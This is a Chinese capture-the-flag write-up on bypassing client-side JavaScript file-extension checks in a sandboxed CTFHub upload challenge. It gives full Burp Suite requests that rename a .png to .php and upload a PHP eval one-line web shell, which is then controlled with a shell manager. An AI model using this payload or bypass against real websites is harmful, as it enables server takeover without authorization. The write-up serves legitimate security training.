前端验证

点击此处获得更好的阅读体验


来源

来自jazz499原创投稿

题目考点

  • JavaScript知识

  • Burpsuite

解题思路

上一题的无验证上传已经介绍了以下考点,此WriteUp不过多赘述

  • 文件上传

  • 语言环境判断

  • PHP木马

  • shell管理工具

验证可大体分为:前端验证和后端验证

那么前端验证,顾名思义 文件在传输过程中在前端进行了校验(如对后缀进行了校验,非png/jpg/jpeg格式不能上传)

前端验证一般都是由js来控制的

打开题目环境 右键查看源代码可以看到以下相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}

以上代码用白话来说:

文件上传 核查文件名后缀,白名单是.jpg/.png/.gif

如果不在白名单内则返回:“该文件不允许上传”

这里演示绕过前端验证的两种方法

1
2
1.直接禁用浏览器JavaScript
2.Burpsuite抓包上传

打开浏览器设置(谷歌为例)

设置-->隐私设置和安全性-->网站设置-->Javascript-->拒绝

这时候前端js验证就失效了 直接上传木马即可

Burpsuite抓包上传

Burpsuite开启抓包状态上传一个符合js白名单的文件,如yjh.png点击上传

原理就是这个时候我们上传的yjh.png已经经过了前端验证后缀

然后再在burpsuite request请求中把后缀改成.php就行了

Burpsuite原请求如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST / HTTP/1.1
Host: challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4VyXBHorUBZOytj
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryY4VyXBHorUBZOytj
Content-Disposition: form-data; name="file"; filename="yjh.png"
Content-Type: image/png
<!--PHPQBACKUP 3.1 SURVEYBACKUP-->
<?php @eval($_POST['a']);?>
------WebKitFormBoundaryY4VyXBHorUBZOytj
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryY4VyXBHorUBZOytj--

修改后缀后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST / HTTP/1.1
Host: challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4VyXBHorUBZOytj
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryY4VyXBHorUBZOytj
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: image/png
<!--PHPQBACKUP 3.1 SURVEYBACKUP-->
<?php @eval($_POST['a']);?>
------WebKitFormBoundaryY4VyXBHorUBZOytj
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryY4VyXBHorUBZOytj--

页面返回shell路径,拼接可得

http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/upload/yjh.php

用中国蚁剑连接

/var/www/html网站根目录中找到flag文件